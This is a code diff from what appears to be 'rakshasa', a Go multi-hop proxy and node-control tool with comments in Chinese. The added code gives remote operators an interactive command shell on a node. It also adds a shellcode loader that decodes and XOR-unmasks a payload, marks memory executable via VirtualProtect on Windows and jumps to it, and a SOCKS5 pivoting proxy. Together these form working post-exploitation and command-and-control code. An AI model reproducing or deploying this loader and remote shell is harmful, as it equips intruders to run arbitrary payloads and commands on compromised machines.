||||
|
||||
c := exec.Command("chcp")
|
||||
res, err := c.Output()
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
cmd.cmd = exec.Command(param.Param)
|
||||
|
||||
stdout, err := cmd.cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
cmd.stdin, err = cmd.cmd.StdinPipe()
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
stderr, err := cmd.cmd.StderrPipe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = cmd.cmd.Start()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
outErr := make(chan error, 999)
|
||||
n.shellMap.Store(cmd.id, cmd)
|
||||
|
||||
go func(cmd *remoteCmd) {
|
||||
defer func() {
|
||||
n.shellMap.Delete(cmd.id)
|
||||
stdout.Close()
|
||||
cmd.stdin.Close()
|
||||
cmd.cmd.Process.Kill()
|
||||
}()
|
||||
var errchan = make(chan error, 10)
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case b := <-cmd.inChan:
|
||||
if len(b) == 0 { //ping数据包
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
|
||||
} else {
|
||||
_, err = cmd.stdin.Write(b)
|
||||
if err != nil {
|
||||
errchan <- err
|
||||
}
|
||||
}
|
||||
|
||||
case err = <-errchan:
|
||||
|
||||
cmd.cmd.Process.Kill()
|
||||
case err = <-outErr:
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
case <-time.After(common.CMD_TIMEOUT): //避免超时
|
||||
|
||||
cmd.cmd.Process.Kill()
|
||||
return
|
||||
|
||||
}
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
|
||||
buf := make([]byte, common.MAX_PLAINTEXT)
|
||||
for {
|
||||
num, err2 := stdout.Read(buf)
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
outErr <- errors.New("退出shell")
|
||||
|
||||
break
|
||||
}
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||
|
||||
}
|
||||
|
||||
}()
|
||||
go func() {
|
||||
buf := make([]byte, 1024)
|
||||
for {
|
||||
num, err2 := stderr.Read(buf)
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
|
||||
break
|
||||
}
|
||||
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
|
||||
//output, _ := libraries.GbkToUtf8(buf[:n])
|
||||
|
||||
}
|
||||
}()
|
||||
cmd.cmd.Wait()
|
||||
}(cmd)
|
||||
|
||||
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...))
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"cert"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"rakshasa_lite/common"
|
||||
"time"
|
||||
)
|
||||
|
||||
type ShellCodeStruct struct {
|
||||
Str string
|
||||
Key string
|
||||
Param string
|
||||
TimeOut int //second
|
||||
}
|
||||
|
||||
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
|
||||
|
||||
if dst != "" {
|
||||
n, err := getNodeWithCurrentNode(dst)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
|
||||
}
|
||||
s := ShellCodeStruct{
|
||||
Str: shellcode,
|
||||
Key: xorKey,
|
||||
Param: param,
|
||||
TimeOut: timeout,
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return doShellcode(s)
|
||||
}
|
||||
res := make(chan interface{}, 1)
|
||||
id := n.storeQuery(res)
|
||||
|
||||
b, _ := json.Marshal(s)
|
||||
n.Write(common.CMD_RUN_SHELLCODE, id, cert.RSAEncrypterByPrivByte(b))
|
||||
select {
|
||||
case v := <-res:
|
||||
fmt.Println("运行结果\n", v)
|
||||
case <-time.After(time.Second * time.Duration(timeout) * 2):
|
||||
fmt.Println("运行超时无结果")
|
||||
}
|
||||
} else {
|
||||
|
||||
b, err := ioutil.ReadFile(shellcode)
|
||||
if err != nil {
|
||||
return currentNodeRunShellcode(shellcode, xorKey, param)
|
||||
} else {
|
||||
return currentNodeRunShellcode(string(b), xorKey, param)
|
||||
}
|
||||
|
||||
}
|
||||
return nil
|
||||
}
|
||||
func currentNodeRunShellcode(shellcode, xorKey, param string) error {
|
||||
|
||||
common.ChangeArg(param)
|
||||
b, err := hex.DecodeString(shellcode)
|
||||
|
||||
if err != nil {
|
||||
b, err = base64.RawStdEncoding.DecodeString(shellcode)
|
||||
}
|
||||
if err != nil {
|
||||
b = []byte(shellcode)
|
||||
//fmt.Println(err)
|
||||
//return errors.New("shellcode hex/base64 解码失败")
|
||||
}
|
||||
|
||||
if len(xorKey) > 0 {
|
||||
for i := 0; i < len(b); i++ {
|
||||
k := i % (len(xorKey))
|
||||
b[i] = b[i] ^ xorKey[k]
|
||||
}
|
||||
}
|
||||
|
||||
shellcodeRun(b)
|
||||
return nil
|
||||
}
|
||||
|
||||
func doShellcode(s ShellCodeStruct) error {
|
||||
|
||||
path, _ := os.Executable()
|
||||
_, exeName := filepath.Split(path)
|
||||
|
||||
cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param)
|
||||
reschan := make(chan string, 2)
|
||||
|
||||
go func() {
|
||||
r, _ := cmd.CombinedOutput()
|
||||
|
||||
reschan <- string(r)
|
||||
|
||||
}()
|
||||
select {
|
||||
case res := <-reschan:
|
||||
return errors.New(res)
|
||||
case <-time.After(time.Second * (time.Duration(s.TimeOut))):
|
||||
return errors.New("已执行,等待超时")
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package server
|
||||
|
||||
import "errors"
|
||||
|
||||
func shellcodeRun(b []byte) error {
|
||||
return errors.New("linux暂不支持")
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
|
||||
package server
|
||||
|
||||
import "errors"
|
||||
|
||||
func shellcodeRun(b []byte) error {
|
||||
return errors.New("linux暂不支持")
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package server
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||||
|
||||
old32 = syscall.MustLoadDLL("ole32.dll")
|
||||
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
|
||||
)
|
||||
|
||||
func shellcodeRun(code []byte) error {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
}()
|
||||
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
|
||||
l := uintptr(len(code))
|
||||
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
|
||||
|
||||
var old int
|
||||
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
|
||||
h := [3]uintptr{pwstrLocal, l, l}
|
||||
s := *(*[]byte)(unsafe.Pointer(&h))
|
||||
|
||||
copy(s, code)
|
||||
|
||||
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,506 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa_lite/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
UDP_PORT_MIN = 30000
|
||||
UDP_PORT_MAX = 60000
|
||||
SOCKES5_VERSION = 5
|
||||
)
|
||||
|
||||
var (
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
)
|
||||
|
||||
const (
|
||||
CONN_AUTH_CLOSE = 0
|
||||
CONN_AUTH_NONE = 1
|
||||
CONN_AUTH_PW = 2
|
||||
CONN_AUTH_OK = 3
|
||||
CONN_AUTH_MESSAGE = 4
|
||||
CONN_REMOTE_CLOSE = 0
|
||||
CONN_REMOTE_OPEN = 1
|
||||
)
|
||||
|
||||
type clientConnect struct {
|
||||
cfg *common.Addr
|
||||
windowsSize int64
|
||||
isClose int32
|
||||
conn net.Conn
|
||||
udpConn net.Conn
|
||||
|
||||
remote int32
|
||||
auth int
|
||||
server *node
|
||||
id uint32
|
||||
wait chan int
|
||||
close string
|
||||
|
||||
udpMap sync.Map
|
||||
udpRepData []byte
|
||||
addrData []byte
|
||||
|
||||
listenId uint32
|
||||
randkey []byte
|
||||
}
|
||||
|
||||
func (s *clientConnect) Write(b []byte) {
|
||||
|
||||
switch b[0] {
|
||||
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
|
||||
switch common.NetWork(b[9]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
|
||||
if b[10] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
} else {
|
||||
|
||||
//发送成功消息
|
||||
s.auth = CONN_AUTH_MESSAGE
|
||||
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
|
||||
}
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
s.auth = CONN_AUTH_MESSAGE
|
||||
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
|
||||
case common.RAW_TCP:
|
||||
if b[10] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
}
|
||||
default:
|
||||
log.Println("socks5 未处理")
|
||||
}
|
||||
|
||||
case common.CMD_CONN_MSG:
|
||||
|
||||
s.conn.Write(b[1:])
|
||||
s.Addwindow(int64(-len(b[1:])))
|
||||
case common.CMD_CONN_UDP_MSG:
|
||||
s.udpConn.Write(b[1:])
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
var remoteClose = "服务器要求远程关闭"
|
||||
var nodeIsClose = "节点已经断开连接"
|
||||
|
||||
func (s *clientConnect) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
|
||||
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
s.auth = CONN_AUTH_CLOSE
|
||||
s.server.connMap.Delete(s.id)
|
||||
|
||||
if msg == "" {
|
||||
msg = "未知关闭"
|
||||
}
|
||||
s.close = msg
|
||||
if msg == remoteClose {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
} else if s.remote == CONN_REMOTE_OPEN {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
s.Remoteclose()
|
||||
}
|
||||
|
||||
s.conn.Close()
|
||||
if s.udpConn != nil {
|
||||
s.udpConn.Close()
|
||||
}
|
||||
s.udpMap.Range(func(k, _ interface{}) bool {
|
||||
s.udpMap.Delete(k)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
func (s *clientConnect) Addwindow(window int64) {
|
||||
|
||||
windows_size := atomic.AddInt64(&s.windowsSize, window)
|
||||
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
|
||||
|
||||
if windows_size < windows_update_size/2 { //扩大窗口
|
||||
if size := windows_update_size - s.windowsSize; size > 0 {
|
||||
atomic.AddInt64(&s.windowsSize, size)
|
||||
|
||||
go func() {
|
||||
buf := make([]byte, 8)
|
||||
buf[0] = byte(size & 255)
|
||||
buf[1] = byte(size >> 8 & 255)
|
||||
buf[2] = byte(size >> 16 & 255)
|
||||
buf[3] = byte(size >> 24 & 255)
|
||||
buf[4] = byte(size >> 32 & 255)
|
||||
buf[5] = byte(size >> 40 & 255)
|
||||
buf[6] = byte(size >> 48 & 255)
|
||||
buf[7] = byte(size >> 56 & 255)
|
||||
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
|
||||
}()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func StartSocks5(cfg *common.Addr, dst []string) error {
|
||||
var target *node
|
||||
var err error
|
||||
if len(dst) == 0 {
|
||||
target = currentNode
|
||||
} else {
|
||||
target, err = GetNodeFromAddrs(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
|
||||
server: target,
|
||||
localAddr: cfg.Addr(),
|
||||
id: common.GetID(),
|
||||
typ: "socks5",
|
||||
randkey: make([]byte, 8),
|
||||
}
|
||||
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
return nil
|
||||
}
|
||||
func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) {
|
||||
l, err := net.Listen("tcp", cfg.Addr())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
randkey := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
|
||||
fmt.Println("socks5 start ", cfg.Addr())
|
||||
go func() {
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
c := &clientConnect{
|
||||
cfg: cfg,
|
||||
conn: conn,
|
||||
server: n,
|
||||
listenId: id,
|
||||
randkey: randkey,
|
||||
}
|
||||
|
||||
go handleSocks5Local(c)
|
||||
|
||||
}
|
||||
}()
|
||||
return l, nil
|
||||
}
|
||||
|
||||
func (s *clientConnect) OnOpened() (close bool) {
|
||||
s.wait = make(chan int, 1)
|
||||
s.auth = CONN_AUTH_NONE
|
||||
s.remote = CONN_REMOTE_OPEN
|
||||
s.windowsSize = 0
|
||||
s.wait <- common.CONN_STATUS_OK
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// 监听本地服务
|
||||
func handleSocks5Local(s *clientConnect) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
|
||||
}
|
||||
}()
|
||||
b := make([]byte, common.MAX_PLAINTEXT-8)
|
||||
if s.OnOpened() {
|
||||
s.Close("无法获得服务器连接")
|
||||
}
|
||||
for {
|
||||
n, err := s.conn.Read(b)
|
||||
if err != nil {
|
||||
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
data := b[:n]
|
||||
|
||||
switch s.auth {
|
||||
case CONN_AUTH_NONE:
|
||||
|
||||
if len(data) > 2 {
|
||||
if data[0] == 5 {
|
||||
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD)
|
||||
s.auth = CONN_AUTH_PW
|
||||
} else {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||
s.auth = CONN_AUTH_OK
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
case CONN_AUTH_PW:
|
||||
|
||||
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||
if len(data) > 4 {
|
||||
defer recover()
|
||||
user := string(data[2 : 2+data[1]])
|
||||
password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]])
|
||||
if user == s.cfg.User() && password == s.cfg.Password() {
|
||||
s.conn.Write([]byte{5, 0})
|
||||
|
||||
s.auth = CONN_AUTH_OK
|
||||
} else {
|
||||
s.conn.Write([]byte{5, 1})
|
||||
}
|
||||
}
|
||||
} else {
|
||||
s.conn.Write([]byte{5, 0})
|
||||
s.auth = CONN_AUTH_OK
|
||||
}
|
||||
|
||||
case CONN_AUTH_OK:
|
||||
|
||||
s.addrData = data[3:]
|
||||
switch common.NetWork(data[1]) {
|
||||
case common.SOCKS5_CMD_CONNECT:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port) {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
case common.SOCKS5_CMD_BIND:
|
||||
addr, port := socks5ReadAddr(data)
|
||||
if !s.connect(common.SOCKS5_CMD_BIND, addr, port) {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
case common.SOCKS5_CMD_UDP:
|
||||
|
||||
localIP := s.conn.LocalAddr().String()
|
||||
localIP = localIP[:strings.Index(localIP, ":")]
|
||||
//找一个能用的udp端口
|
||||
var port uint16
|
||||
for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ {
|
||||
s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{
|
||||
IP: net.ParseIP(localIP),
|
||||
Port: int(i),
|
||||
})
|
||||
if err == nil {
|
||||
port = i
|
||||
break
|
||||
}
|
||||
}
|
||||
if s.udpConn == nil {
|
||||
data[0] = 5
|
||||
data[1] = 1 //RepRuleFailure
|
||||
s.conn.Write(data)
|
||||
continue
|
||||
}
|
||||
repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)}
|
||||
ipb := ipToByte(localIP)
|
||||
addr, port := socks5ReadAddr(data)
|
||||
|
||||
if s.connect(common.SOCKS5_CMD_UDP, addr, port) {
|
||||
copy(repdata[4:], ipb)
|
||||
s.conn.Write(repdata)
|
||||
go handleSocks5Udp(s)
|
||||
} else {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
default:
|
||||
data[0] = 5
|
||||
data[1] = 7 //RepCmdNotSupported
|
||||
s.conn.Write(data)
|
||||
}
|
||||
|
||||
case CONN_AUTH_MESSAGE:
|
||||
|
||||
//binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno)
|
||||
//conn.msgno++
|
||||
|
||||
var new_size int64
|
||||
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||
atomic.AddInt64(&s.windowsSize, new_size)
|
||||
|
||||
} else {
|
||||
new_size = 0
|
||||
}
|
||||
buf := make([]byte, 8)
|
||||
buf[0] = byte(new_size)
|
||||
buf[1] = byte(new_size >> 8)
|
||||
buf[2] = byte(new_size >> 16)
|
||||
buf[3] = byte(new_size >> 24)
|
||||
buf[4] = byte(new_size >> 32)
|
||||
buf[5] = byte(new_size >> 40)
|
||||
buf[6] = byte(new_size >> 48)
|
||||
buf[7] = byte(new_size >> 56)
|
||||
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...))
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
func handleSocks5Udp(s *clientConnect) {
|
||||
var b = make([]byte, 65535)
|
||||
for {
|
||||
n, err := s.udpConn.Read(b)
|
||||
if err != nil {
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
data := b[:n]
|
||||
if b[2] != 0 {
|
||||
//不支持分片
|
||||
continue
|
||||
}
|
||||
|
||||
data = data[3:]
|
||||
common.GetIDLock.Lock()
|
||||
var udpid uint32
|
||||
switch data[0] {
|
||||
case 1:
|
||||
ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6]))
|
||||
if v, ok := s.udpMap.Load(ip); !ok {
|
||||
|
||||
udps := &clientConnect{
|
||||
server: s.server,
|
||||
randkey: s.randkey,
|
||||
}
|
||||
udps.udpConn = s.udpConn
|
||||
udps.id = udps.server.storeConn(s)
|
||||
udpid = udps.id
|
||||
udps.udpRepData = make([]byte, 10)
|
||||
copy(udps.udpRepData, data)
|
||||
udps.udpMap.Store(ip, udpid)
|
||||
} else {
|
||||
udpid = v.(uint32)
|
||||
}
|
||||
case 3:
|
||||
case 4:
|
||||
}
|
||||
common.GetIDLock.Unlock()
|
||||
buf := make([]byte, 4)
|
||||
buf[0] = byte(udpid)
|
||||
buf[1] = byte(udpid >> 8)
|
||||
buf[2] = byte(udpid >> 16)
|
||||
buf[3] = byte(udpid >> 24)
|
||||
s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...))
|
||||
}
|
||||
|
||||
}
|
||||
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) bool {
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs)
|
||||
}
|
||||
if atomic.LoadInt32(&s.server.isClose) == 1 {
|
||||
return false
|
||||
}
|
||||
ports := strconv.Itoa(int(port))
|
||||
buf := make([]byte, 2+len(addr)+len(ports))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(command)
|
||||
copy(buf[1:], addr)
|
||||
buf[1+len(addr)] = ':'
|
||||
copy(buf[2+len(addr):], ports)
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func Bytes2str(b []byte) string {
|
||||
return *(*string)(unsafe.Pointer(&b))
|
||||
}
|
||||
|
||||
func (s *clientConnect) Remoteclose() {
|
||||
|
||||
s.close = "本地要求远程关闭"
|
||||
|
||||
buf := make([]byte, 4)
|
||||
buf[0] = byte(s.id)
|
||||
buf[1] = byte(s.id >> 8)
|
||||
buf[2] = byte(s.id >> 16)
|
||||
buf[3] = byte(s.id >> 24)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
|
||||
|
||||
}
|
||||
|
||||
func ipToByte(ip string) []byte {
|
||||
var b []byte
|
||||
|
||||
if strings.Contains(ip, ".") {
|
||||
for _, s := range strings.Split(ip, ".") {
|
||||
i, _ := strconv.Atoi(s)
|
||||
b = append(b, byte(i))
|
||||
}
|
||||
}
|
||||
|
||||
return b
|
||||
}
|
||||
func socks5ReadAddr(data []byte) (addr string, port uint16) {
|
||||
port = binary.BigEndian.Uint16(data[len(data)-2:])
|
||||
switch data[3] {
|
||||
case 1: //ipv4
|
||||
str := make([][]byte, 4)
|
||||
for k, v := range data[4:8] {
|
||||
str[k] = []byte(strconv.Itoa(int(v)))
|
||||
}
|
||||
addr = string(bytes.Join(str, []byte{46}))
|
||||
|
||||
case 3: //域名
|
||||
addr = string(data[5 : len(data)-2])
|
||||
|
||||
case 4: //ipv6
|
||||
strs := make([]string, 0)
|
||||
for i := 4; i < 20; i += 2 {
|
||||
str := ""
|
||||
for j := 0; j < 2; j++ {
|
||||
str += fmt.Sprintf("%0.2x", data[i+j])
|
||||
}
|
||||
str = strings.TrimLeft(str, "0")
|
||||
if str == "" {
|
||||
str = "0"
|
||||
}
|
||||
strs = append(strs, str)
|
||||
}
|
||||
addr = "[" + strings.Join(strs, ":") + "]"
|
||||
|
||||
default:
|
||||
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -30,7 +30,7 @@ rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级
|
||||
- Go语言:因为Go语言是一门高效的并发编程语言,非常适合网络编程。
|
||||
- github.com/abiosoft/ishell包:实现各操作系统中的CLI。
|
||||
- github.com/creack/pty包:实现Linux伪终端,可以执行交互式命令与更高级的终端显示效果。
|
||||
- github.com/dlclark/regexp2包:全功能正则表达式 。
|
||||
- github.com/farmerx/gorsa包:实现私钥加密公钥解密,用来解决节点权限限制。
|
||||
|
||||
## 4. 项目结构
|
||||
|
||||
|
||||
+30
-28
@@ -2,6 +2,7 @@ package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -9,9 +10,7 @@ import (
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -54,6 +53,7 @@ type serverListen struct {
|
||||
replayid uint32
|
||||
id uint32
|
||||
connMap sync.Map
|
||||
randkey []byte
|
||||
}
|
||||
type serverConnect struct {
|
||||
close int32
|
||||
@@ -67,6 +67,7 @@ type serverConnect struct {
|
||||
|
||||
wait chan int
|
||||
closeReason string
|
||||
randkey []byte
|
||||
}
|
||||
|
||||
// 中转与最终出口
|
||||
@@ -281,14 +282,14 @@ func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 0
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||
conn.Close("fd拨号失败")
|
||||
return
|
||||
} else {
|
||||
buf := make([]byte, 2)
|
||||
buf[0] = byte(network)
|
||||
buf[1] = 1
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||
if conn.close == 0 {
|
||||
conn.conn = netconn
|
||||
go conn.handTcpReceive()
|
||||
@@ -305,7 +306,7 @@ func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, add
|
||||
if res {
|
||||
buf[1] = 1
|
||||
}
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
|
||||
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
|
||||
}
|
||||
|
||||
if i := strings.IndexByte(addr, 32); i > -1 {
|
||||
@@ -504,13 +505,13 @@ func (c *Conn) handlerNodeRead() {
|
||||
newNode.do(msg)
|
||||
}
|
||||
} else if msg.To == currentNode.uuid {
|
||||
|
||||
func() {
|
||||
l := clientLock.RLock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
l.RUnlock()
|
||||
if ok && v.port > 0 {
|
||||
if ok && v.port != 0 {
|
||||
c.inChan <- func() {
|
||||
|
||||
v.do(msg)
|
||||
}
|
||||
} else {
|
||||
@@ -564,11 +565,13 @@ func (c *Conn) handlerNodeRead() {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
v.hostName = nmsg.HostName
|
||||
v.uuid = nmsg.UUID
|
||||
v.port = nmsg.Port
|
||||
v.mainIp = nmsg.MainIp
|
||||
v.goos = nmsg.Goos
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.uuid = cert.RSADecrypterStr(nmsg.UUID)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
res <- nil
|
||||
} else {
|
||||
v.waitMsg = append(v.waitMsg, msg)
|
||||
@@ -687,21 +690,13 @@ func (c *Conn) handle() {
|
||||
func (c *Conn) reg() error {
|
||||
|
||||
var err error
|
||||
|
||||
c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone())
|
||||
if err != nil {
|
||||
return err
|
||||
reg := &common.RegMsg{
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||
Goos: cert.RSAEncrypterStr(currentNode.goos),
|
||||
Hostname: cert.RSAEncrypterStr(currentNode.hostName),
|
||||
}
|
||||
|
||||
reg := common.RegMsg{
|
||||
RegAddr: c.nodeaddr,
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: currentNode.mainIp,
|
||||
Port: currentNode.port,
|
||||
Goos: currentNode.goos,
|
||||
}
|
||||
reg.Hostname, _ = os.Hostname()
|
||||
|
||||
regb, _ := json.Marshal(reg)
|
||||
msg := common.Msg{
|
||||
From: currentNode.uuid,
|
||||
@@ -709,7 +704,6 @@ func (c *Conn) reg() error {
|
||||
CmdOpteion: common.CMD_REG,
|
||||
CmdData: regb,
|
||||
}
|
||||
|
||||
if err = c.tlsWrite(msg.Marshal()); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -733,7 +727,15 @@ func (c *Conn) Write(b []byte) {
|
||||
|
||||
func (c *Conn) tlsWrite(b []byte) error {
|
||||
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
_, err := c.nodeConn.Write(b)
|
||||
n, err := c.nodeConn.Write(b)
|
||||
if common.Debug {
|
||||
if c.node!=nil{
|
||||
fmt.Println("writeto", c.node.uuid, n)
|
||||
}else{
|
||||
fmt.Println("writeto",common.NoneUUID, n)
|
||||
}
|
||||
|
||||
}
|
||||
if err != nil {
|
||||
c.Close("Write " + err.Error())
|
||||
upNodeWrite <- b
|
||||
|
||||
+21
-11
